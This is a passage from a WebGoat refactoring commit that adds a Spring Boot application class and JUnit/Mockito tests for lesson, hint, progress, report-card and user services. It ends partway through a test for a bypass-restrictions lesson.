Refactoring (#1201)

* Some initial refactoring

* Make it one application

* Got it working

* Fix problem on Windows

* Move WebWolf

* Move first lesson

* Moved all lessons

* Fix pom.xml

* Fix tests

* Add option to initialize a lesson

This way we can create content for each user inside a lesson. The initialize method will be called when a new user is created or when a lesson reset happens

* Clean up pom.xml files

* Remove fetching labels based on language.

We only support English at the moment, all the lesson explanations are written in English which makes it very difficult to translate. If we only had labels it would make sense to support multiple languages

* Fix SonarLint issues

* And move it all to the main project

* Fix for documentation paths

* Fix pom warnings

* Remove PMD as it does not work

* Update release notes about refactoring

Update release notes about refactoring

Update release notes about refactoring

* Fix lesson template

* Update release notes

* Keep it in the same repo in Dockerhub

* Update documentation to show how the connection is obtained.

Resolves: #1180

* Rename all integration tests

* Remove command from Dockerfile

* Simplify GitHub actions

Currently, we use a separate actions for pull-requests and branch build.
This is now consolidated in one action.
The PR action triggers always, it now only trigger when the PR is
opened and not in draft.
Running all platforms on a branch build is a bit too much, it is better
 to only run all platforms when someone opens a PR.

* Remove duplicate entry from release notes

* Add explicit registry for base image

* Lesson scanner not working when fat jar

When running the fat jar we have to take into account we
are reading from the jar file and not the filesystem. In
this case you cannot use `getFile` for example.

* added info in README and fixed release docker

* changed base image and added ignore file

Co-authored-by: Zubcevic.com <rene@zubcevic.com>
This commit is contained in:
Nanne Baars
2022-04-09 14:56:12 +02:00
committed by GitHub
parent f3d8206a07
commit 711649924b
1130 changed files with 3540 additions and 7643 deletions

View File

@ -0,0 +1,10 @@
package org.owasp.webgoat.container;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.PropertySource;
@SpringBootApplication(scanBasePackages = "org.owasp.webgoat.container")
@PropertySource("classpath:application-webgoat.properties")
public class WebGoatApplication {
}

View File

@ -0,0 +1,71 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
* <p>
* Copyright (c) 2002 - 2017 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*/
package org.owasp.webgoat.container.assignments;
import org.mockito.Mock;
import org.owasp.webgoat.container.i18n.Language;
import org.owasp.webgoat.container.i18n.Messages;
import org.owasp.webgoat.container.i18n.PluginMessages;
import org.owasp.webgoat.container.session.UserSessionData;
import org.owasp.webgoat.container.users.UserTracker;
import org.owasp.webgoat.container.session.WebSession;
import org.owasp.webgoat.container.users.UserTrackerRepository;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import org.springframework.core.io.support.ResourcePatternResolver;
import org.springframework.test.util.ReflectionTestUtils;
import org.springframework.web.servlet.i18n.FixedLocaleResolver;
import java.util.Locale;
//Do not remove is the base class for all assignments tests
public class AssignmentEndpointTest {
@Mock
protected UserTracker userTracker;
@Mock
protected UserTrackerRepository userTrackerRepository;
@Mock
protected WebSession webSession;
@Mock
protected UserSessionData userSessionData;
private Language language = new Language(new FixedLocaleResolver()) {
@Override
public Locale getLocale() {
return Locale.ENGLISH;
}
};
protected Messages messages = new Messages(language);
protected PluginMessages pluginMessages = new PluginMessages(messages, language, new ClassPathXmlApplicationContext());
public void init(AssignmentEndpoint a) {
messages.setBasenames("classpath:/i18n/messages", "classpath:/i18n/WebGoatLabels");
ReflectionTestUtils.setField(a, "userSessionData", userSessionData);
ReflectionTestUtils.setField(a, "webSession", webSession);
ReflectionTestUtils.setField(a, "messages", pluginMessages);
}
}

View File

@ -0,0 +1,66 @@
package org.owasp.webgoat.container.plugins;
import org.flywaydb.core.Flyway;
import org.junit.jupiter.api.BeforeEach;
import org.owasp.webgoat.container.WebGoat;
import org.owasp.webgoat.container.i18n.Language;
import org.owasp.webgoat.container.i18n.PluginMessages;
import org.owasp.webgoat.container.lessons.Initializeable;
import org.owasp.webgoat.container.session.WebSession;
import org.owasp.webgoat.container.users.WebGoatUser;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.mock.mockito.MockBean;
import org.springframework.boot.web.server.LocalServerPort;
import org.springframework.test.context.TestPropertySource;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.web.context.WebApplicationContext;
import javax.annotation.PostConstruct;
import java.util.List;
import java.util.Locale;
import java.util.function.Function;
import static org.mockito.Mockito.when;
/**
* @author nbaars
* @since 5/20/17.
*/
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT, classes = WebGoat.class)
@TestPropertySource(locations = {"classpath:/application-webgoat.properties", "classpath:/application-webgoat-test.properties"})
public abstract class LessonTest {
@LocalServerPort
protected int localPort;
protected MockMvc mockMvc;
@Autowired
protected WebApplicationContext wac;
@Autowired
protected PluginMessages messages;
@Autowired
private Function<String, Flyway> flywayLessons;
@Autowired
private List<Initializeable> lessonInitializers;
@MockBean
protected WebSession webSession;
@MockBean
private Language language;
@Value("${webgoat.user.directory}")
protected String webGoatHomeDirectory;
@BeforeEach
void init() {
var user = new WebGoatUser("unit-test", "test");
when(webSession.getUserName()).thenReturn(user.getUsername());
when(webSession.getUser()).thenReturn(user);
when(language.getLocale()).thenReturn(Locale.getDefault());
lessonInitializers.forEach(init -> init.initialize(webSession.getUser()));
}
@PostConstruct
public void createFlywayLessonTables() {
flywayLessons.apply("PUBLIC").migrate();
}
}

View File

@ -0,0 +1,51 @@
package org.owasp.webgoat.container.service;
import com.beust.jcommander.internal.Lists;
import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.Mock;
import org.mockito.Mockito;
import org.mockito.junit.jupiter.MockitoExtension;
import org.owasp.webgoat.container.lessons.Assignment;
import org.owasp.webgoat.container.lessons.Lesson;
import org.owasp.webgoat.container.session.WebSession;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import static org.mockito.Mockito.when;
import static org.owasp.webgoat.container.service.HintService.URL_HINTS_MVC;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
@ExtendWith(MockitoExtension.class)
public class HintServiceTest {
private MockMvc mockMvc;
@Mock
private WebSession websession;
@Mock
private Lesson lesson;
@Mock
private Assignment assignment;
@BeforeEach
void setup() {
this.mockMvc = standaloneSetup(new HintService(websession)).build();
}
@Test
void hintsPerAssignment() throws Exception {
Assignment assignment = Mockito.mock(Assignment.class);
when(assignment.getPath()).thenReturn("/HttpBasics/attack1");
when(assignment.getHints()).thenReturn(Lists.newArrayList("hint 1", "hint 2"));
when(lesson.getAssignments()).thenReturn(Lists.newArrayList(assignment));
when(websession.getCurrentLesson()).thenReturn(lesson);
mockMvc.perform(MockMvcRequestBuilders.get(URL_HINTS_MVC))
.andExpect(status().isOk())
.andExpect(jsonPath("$[0].hint", CoreMatchers.is("hint 1")))
.andExpect(jsonPath("$[0].assignmentPath", CoreMatchers.is("/HttpBasics/attack1")));
}
}

View File

@ -0,0 +1,104 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.container.service;
import com.beust.jcommander.internal.Lists;
import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.Mock;
import org.mockito.Mockito;
import org.mockito.junit.jupiter.MockitoExtension;
import org.owasp.webgoat.container.lessons.Category;
import org.owasp.webgoat.container.lessons.Lesson;
import org.owasp.webgoat.container.session.Course;
import org.owasp.webgoat.container.session.WebSession;
import org.owasp.webgoat.container.users.LessonTracker;
import org.owasp.webgoat.container.users.UserTracker;
import org.owasp.webgoat.container.users.UserTrackerRepository;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import java.util.Arrays;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.Mockito.when;
import static org.owasp.webgoat.container.service.LessonMenuService.URL_LESSONMENU_MVC;
import static org.springframework.test.web.servlet.result.MockMvcResultHandlers.print;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
@ExtendWith(MockitoExtension.class)
public class LessonMenuServiceTest {
@Mock(lenient=true)
private LessonTracker lessonTracker;
@Mock
private Course course;
@Mock
private UserTracker userTracker;
@Mock
private UserTrackerRepository userTrackerRepository;
@Mock
private WebSession webSession;
private MockMvc mockMvc;
@BeforeEach
void setup() {
this.mockMvc = standaloneSetup(new LessonMenuService(course, webSession, userTrackerRepository, Arrays.asList("none"), Arrays.asList("none"))).build();
}
@Test
void lessonsShouldBeOrdered() throws Exception {
Lesson l1 = Mockito.mock(Lesson.class);
Lesson l2 = Mockito.mock(Lesson.class);
when(l1.getTitle()).thenReturn("ZA");
when(l2.getTitle()).thenReturn("AA");
when(lessonTracker.isLessonSolved()).thenReturn(false);
when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1, l2));
when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL));
when(userTracker.getLessonTracker(any(Lesson.class))).thenReturn(lessonTracker);
when(userTrackerRepository.findByUser(any())).thenReturn(userTracker);
mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC))
.andExpect(status().isOk())
.andExpect(jsonPath("$[0].children[0].name", CoreMatchers.is("AA")))
.andExpect(jsonPath("$[0].children[1].name", CoreMatchers.is("ZA")));
}
@Test
void lessonCompleted() throws Exception {
Lesson l1 = Mockito.mock(Lesson.class);
when(l1.getTitle()).thenReturn("ZA");
when(lessonTracker.isLessonSolved()).thenReturn(true);
when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1));
when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL));
when(userTracker.getLessonTracker(any(Lesson.class))).thenReturn(lessonTracker);
when(userTrackerRepository.findByUser(any())).thenReturn(userTracker);
mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC))
.andExpect(status().isOk()).andDo(print())
.andExpect(jsonPath("$[0].children[0].complete", CoreMatchers.is(true)));
}
}

View File

@ -0,0 +1,91 @@
package org.owasp.webgoat.container.service;
import org.assertj.core.util.Maps;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.Mock;
import org.mockito.junit.jupiter.MockitoExtension;
import org.owasp.webgoat.container.lessons.Lesson;
import org.owasp.webgoat.container.lessons.Assignment;
import org.owasp.webgoat.container.session.WebSession;
import org.owasp.webgoat.container.users.LessonTracker;
import org.owasp.webgoat.container.users.UserTracker;
import org.owasp.webgoat.container.users.UserTrackerRepository;
import org.springframework.http.MediaType;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import java.util.List;
import static org.hamcrest.CoreMatchers.is;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
/**
* ************************************************************************************************
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
* <p>
* Copyright (c) 2002 - 2014 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*
* @author nbaars
* @version $Id: $Id
* @since November 25, 2016
*/
@ExtendWith(MockitoExtension.class)
class LessonProgressServiceTest {
private MockMvc mockMvc;
@Mock
private Lesson lesson;
@Mock
private UserTracker userTracker;
@Mock
private LessonTracker lessonTracker;
@Mock
private UserTrackerRepository userTrackerRepository;
@Mock
private WebSession websession;
@BeforeEach
void setup() {
Assignment assignment = new Assignment("test", "test", List.of());
when(userTrackerRepository.findByUser(any())).thenReturn(userTracker);
when(userTracker.getLessonTracker(any(Lesson.class))).thenReturn(lessonTracker);
when(websession.getCurrentLesson()).thenReturn(lesson);
when(lessonTracker.getLessonOverview()).thenReturn(Maps.newHashMap(assignment, true));
this.mockMvc = MockMvcBuilders.standaloneSetup(new LessonProgressService(userTrackerRepository, websession)).build();
}
@Test
void jsonLessonOverview() throws Exception {
this.mockMvc.perform(MockMvcRequestBuilders.get("/service/lessonoverview.mvc").accept(MediaType.APPLICATION_JSON_VALUE))
.andExpect(status().isOk())
.andExpect(jsonPath("$[0].assignment.name", is("test")))
.andExpect(jsonPath("$[0].solved", is(true)));
}
}

View File

@ -0,0 +1,72 @@
package org.owasp.webgoat.container.service;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.Mock;
import org.mockito.junit.jupiter.MockitoExtension;
import org.owasp.webgoat.container.i18n.PluginMessages;
import org.owasp.webgoat.container.lessons.Lesson;
import org.owasp.webgoat.container.session.Course;
import org.owasp.webgoat.container.session.WebSession;
import org.owasp.webgoat.container.users.LessonTracker;
import org.owasp.webgoat.container.users.UserTracker;
import org.owasp.webgoat.container.users.UserTrackerRepository;
import org.springframework.security.test.context.support.WithMockUser;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import java.util.List;
import static org.hamcrest.CoreMatchers.is;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.ArgumentMatchers.anyString;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
@ExtendWith(MockitoExtension.class)
public class ReportCardServiceTest {
private MockMvc mockMvc;
@Mock
private Course course;
@Mock
private UserTracker userTracker;
@Mock
private Lesson lesson;
@Mock
private LessonTracker lessonTracker;
@Mock
private UserTrackerRepository userTrackerRepository;
@Mock
private WebSession websession;
@Mock
private PluginMessages pluginMessages;
@BeforeEach
void setup() {
this.mockMvc = standaloneSetup(new ReportCardService(websession, userTrackerRepository, course, pluginMessages)).build();
when(pluginMessages.getMessage(anyString())).thenReturn("Test");
}
@Test
@WithMockUser(username = "guest", password = "guest")
void withLessons() throws Exception {
when(lesson.getTitle()).thenReturn("Test");
when(course.getTotalOfLessons()).thenReturn(1);
when(course.getTotalOfAssignments()).thenReturn(10);
when(course.getLessons()).thenAnswer(x -> List.of(lesson));
when(userTrackerRepository.findByUser(any())).thenReturn(userTracker);
when(userTracker.getLessonTracker(any(Lesson.class))).thenReturn(lessonTracker);
mockMvc.perform(MockMvcRequestBuilders.get("/service/reportcard.mvc"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.totalNumberOfLessons", is(1)))
.andExpect(jsonPath("$.solvedLessons", is(0)))
.andExpect(jsonPath("$.numberOfAssignmentsSolved", is(0)))
.andExpect(jsonPath("$.totalNumberOfAssignments", is(10)))
.andExpect(jsonPath("$.lessonStatistics[0].name", is("Test")))
.andExpect(jsonPath("$.numberOfAssignmentsSolved", is(0)));
}
}

View File

@ -0,0 +1,45 @@
package org.owasp.webgoat.container.session;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.Test;
class LabelDebuggerTest {
@Test
void testSetEnabledTrue() {
LabelDebugger ld = new LabelDebugger();
ld.setEnabled(true);
Assertions.assertThat(ld.isEnabled()).isTrue();
}
@Test
void testSetEnabledFalse() {
LabelDebugger ld = new LabelDebugger();
ld.setEnabled(false);
Assertions.assertThat((ld.isEnabled())).isFalse();
}
@Test
void testSetEnabledNullThrowsException() {
LabelDebugger ld = new LabelDebugger();
ld.setEnabled(true);
Assertions.assertThat((ld.isEnabled())).isTrue();
}
@Test
void testEnableIsTrue() {
LabelDebugger ld = new LabelDebugger();
ld.enable();
Assertions.assertThat((ld.isEnabled())).isTrue();
}
@Test
void testDisableIsFalse() {
LabelDebugger ld = new LabelDebugger();
ld.disable();
Assertions.assertThat((ld.isEnabled())).isFalse();
}
}

View File

@ -0,0 +1,86 @@
package org.owasp.webgoat.container.session;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.container.lessons.Assignment;
import org.owasp.webgoat.container.lessons.Lesson;
import org.owasp.webgoat.container.users.LessonTracker;
import java.util.List;
import java.util.Map;
import static org.assertj.core.api.Assertions.assertThat;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.when;
/**
* ************************************************************************************************
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
* <p>
* Copyright (c) 2002 - 2014 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*
* @author nbaars
* @version $Id: $Id
* @since November 25, 2016
*/
class LessonTrackerTest {
@Test
void allAssignmentsSolvedShouldMarkLessonAsComplete() {
Lesson lesson = mock(Lesson.class);
when(lesson.getAssignments()).thenReturn(List.of(new Assignment("assignment", "assignment", List.of(""))));
LessonTracker lessonTracker = new LessonTracker(lesson);
lessonTracker.assignmentSolved("assignment");
Assertions.assertThat(lessonTracker.isLessonSolved()).isTrue();
}
@Test
void noAssignmentsSolvedShouldMarkLessonAsInComplete() {
Lesson lesson = mock(Lesson.class);
Assignment a1 = new Assignment("a1");
Assignment a2 = new Assignment("a2");
List<Assignment> assignments = List.of(a1, a2);
when(lesson.getAssignments()).thenReturn(assignments);
LessonTracker lessonTracker = new LessonTracker(lesson);
lessonTracker.assignmentSolved("a1");
Map<Assignment, Boolean> lessonOverview = lessonTracker.getLessonOverview();
assertThat(lessonOverview.get(a1)).isTrue();
assertThat(lessonOverview.get(a2)).isFalse();
}
@Test
void solvingSameAssignmentShouldNotAddItTwice() {
Lesson lesson = mock(Lesson.class);
Assignment a1 = new Assignment("a1");
List<Assignment> assignments = List.of(a1);
when(lesson.getAssignments()).thenReturn(assignments);
LessonTracker lessonTracker = new LessonTracker(lesson);
lessonTracker.assignmentSolved("a1");
lessonTracker.assignmentSolved("a1");
assertThat(lessonTracker.getLessonOverview().size()).isEqualTo(1);
}
}

View File

@ -0,0 +1,28 @@
package org.owasp.webgoat.container.users;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.container.WebGoat;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
import org.springframework.test.context.ActiveProfiles;
import org.springframework.test.context.ContextConfiguration;
@DataJpaTest
@ActiveProfiles("webgoat-test")
class UserRepositoryTest {
@Autowired
private UserRepository userRepository;
@Test
void userShouldBeSaved() {
WebGoatUser user = new WebGoatUser("test", "password");
userRepository.saveAndFlush(user);
user = userRepository.findByUsername("test");
Assertions.assertThat(user.getUsername()).isEqualTo("test");
Assertions.assertThat(user.getPassword()).isEqualTo("password");
}
}

View File

@ -0,0 +1,37 @@
package org.owasp.webgoat.container.users;
import org.assertj.core.api.Assertions;
import org.flywaydb.core.Flyway;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.Mock;
import org.mockito.junit.jupiter.MockitoExtension;
import org.owasp.webgoat.container.lessons.Initializeable;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.security.core.userdetails.UsernameNotFoundException;
import java.util.List;
import java.util.function.Function;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.Mockito.when;
@ExtendWith(MockitoExtension.class)
class UserServiceTest {
@Mock
private UserRepository userRepository;
@Mock
private UserTrackerRepository userTrackerRepository;
@Mock
private JdbcTemplate jdbcTemplate;
@Mock
private Function<String, Flyway> flywayLessons;
@Test
void shouldThrowExceptionWhenUserIsNotFound() {
when(userRepository.findByUsername(any())).thenReturn(null);
UserService userService = new UserService(userRepository, userTrackerRepository, jdbcTemplate, flywayLessons, List.of());
Assertions.assertThatThrownBy(() -> userService.loadUserByUsername("unknown")).isInstanceOf(UsernameNotFoundException.class);
}
}

View File

@ -0,0 +1,83 @@
package org.owasp.webgoat.container.users;
import org.assertj.core.api.Assertions;
import org.assertj.core.util.Lists;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.container.lessons.Assignment;
import org.owasp.webgoat.container.lessons.Category;
import org.owasp.webgoat.container.lessons.Lesson;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
import org.springframework.test.context.ActiveProfiles;
import java.util.List;
@DataJpaTest
@ActiveProfiles("webgoat-test")
class UserTrackerRepositoryTest {
private class TestLesson extends Lesson {
@Override
public Category getDefaultCategory() {
return Category.AJAX_SECURITY;
}
@Override
public String getTitle() {
return "test";
}
@Override
public List<Assignment> getAssignments() {
Assignment assignment = new Assignment("test", "test", Lists.newArrayList());
return Lists.newArrayList(assignment);
}
}
@Autowired
private UserTrackerRepository userTrackerRepository;
@Test
void saveUserTracker() {
UserTracker userTracker = new UserTracker("test");
userTrackerRepository.save(userTracker);
userTracker = userTrackerRepository.findByUser("test");
Assertions.assertThat(userTracker.getLessonTracker("test")).isNotNull();
}
@Test
void solvedAssignmentsShouldBeSaved() {
UserTracker userTracker = new UserTracker("test");
TestLesson lesson = new TestLesson();
userTracker.getLessonTracker(lesson);
userTracker.assignmentFailed(lesson);
userTracker.assignmentFailed(lesson);
userTracker.assignmentSolved(lesson, "test");
userTrackerRepository.saveAndFlush(userTracker);
userTracker = userTrackerRepository.findByUser("test");
Assertions.assertThat(userTracker.numberOfAssignmentsSolved()).isEqualTo(1);
}
@Test
void saveAndLoadShouldHaveCorrectNumberOfAttempts() {
UserTracker userTracker = new UserTracker("test");
TestLesson lesson = new TestLesson();
userTracker.getLessonTracker(lesson);
userTracker.assignmentFailed(lesson);
userTracker.assignmentFailed(lesson);
userTrackerRepository.saveAndFlush(userTracker);
userTracker = userTrackerRepository.findByUser("test");
userTracker.assignmentFailed(lesson);
userTracker.assignmentFailed(lesson);
userTrackerRepository.saveAndFlush(userTracker);
Assertions.assertThat(userTracker.getLessonTracker(lesson).getNumberOfAttempts()).isEqualTo(4);
}
}

View File

@ -0,0 +1,60 @@
package org.owasp.webgoat.container.users;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.Mock;
import org.mockito.junit.jupiter.MockitoExtension;
import org.springframework.validation.BeanPropertyBindingResult;
import org.springframework.validation.Errors;
import static org.assertj.core.api.Assertions.assertThat;
import static org.mockito.ArgumentMatchers.anyString;
import static org.mockito.Mockito.when;
@ExtendWith(MockitoExtension.class)
class UserValidatorTest {
@Mock
private UserRepository userRepository;
@Test
void passwordsShouldMatch() {
UserForm userForm = new UserForm();
userForm.setAgree("true");
userForm.setUsername("test1234");
userForm.setPassword("test1234");
userForm.setMatchingPassword("test1234");
Errors errors = new BeanPropertyBindingResult(userForm, "userForm");
new UserValidator(userRepository).validate(userForm, errors);
Assertions.assertThat(errors.hasErrors()).isFalse();
}
@Test
void shouldGiveErrorWhenPasswordsDoNotMatch() {
UserForm userForm = new UserForm();
userForm.setAgree("true");
userForm.setUsername("test1234");
userForm.setPassword("test12345");
userForm.setMatchingPassword("test1234");
Errors errors = new BeanPropertyBindingResult(userForm, "userForm");
new UserValidator(userRepository).validate(userForm, errors);
Assertions.assertThat(errors.hasErrors()).isTrue();
assertThat(errors.getFieldError("matchingPassword").getCode()).isEqualTo("password.diff");
}
@Test
void shouldGiveErrorWhenUserAlreadyExists() {
UserForm userForm = new UserForm();
userForm.setAgree("true");
userForm.setUsername("test12345");
userForm.setPassword("test12345");
userForm.setMatchingPassword("test12345");
when(userRepository.findByUsername(anyString())).thenReturn(new WebGoatUser("test1245", "password"));
Errors errors = new BeanPropertyBindingResult(userForm, "userForm");
new UserValidator(userRepository).validate(userForm, errors);
Assertions.assertThat(errors.hasErrors()).isTrue();
assertThat(errors.getFieldError("username").getCode()).isEqualTo("username.duplicate");
}
}

View File

@ -0,0 +1,77 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
* <p>
* Copyright (c) 2002 - 2017 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*/
package org.owasp.webgoat.lessons.auth_bypass;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.junit.jupiter.MockitoExtension;
import org.owasp.webgoat.container.assignments.AssignmentEndpointTest;
import org.springframework.test.web.servlet.MockMvc;
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
@ExtendWith(MockitoExtension.class)
public class BypassVerificationTest extends AssignmentEndpointTest {
private MockMvc mockMvc;
@BeforeEach
public void setup() {
VerifyAccount verifyAccount = new VerifyAccount();
init(verifyAccount);
this.mockMvc = standaloneSetup(verifyAccount).build();
}
@Test
public void placeHolder() {
assert (true);
}
//TODO: Finish tests below ... getting null on injected/mocked userSession for some reason (in AssignmentEndpoint:58 even though it it mocked via AssignmentEncpointTest and works in other tests)
// @Test
// public void testCheatingDetection() throws Exception {
// ResultActions results = mockMvc.perform(MockMvcRequestBuilders.post("/auth-bypass/verify-account")
// .param("secQuestion0","Dr. Watson")
// .param("secQuestion1","Baker Street")
// .param("verifyMethod","SEC_QUESTIONS")
// .param("userId","1223445"));
//
// results.andExpect(status().isOk())
// .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("verify-account.cheated"))));
// }
// @Test
// public void success() {
//
// }
// @Test
// public void failure() {
//
// }
}

View File

@ -0,0 +1,69 @@
package org.owasp.webgoat.lessons.bypass_restrictions;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import static org.hamcrest.Matchers.is;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
/**
* @author nbaars
* @since 6/16/17.
*/
public class BypassRestrictionsFrontendValidationTest extends LessonTest {
@BeforeEach
public void setup() {
when(webSession.getCurrentLesson()).thenReturn(new BypassRestrictions());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
}
@Test
void noChangesShouldNotPassTheLesson() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/BypassRestrictions/frontendValidation")
.param("field1", "abc")
.param("field2", "123")
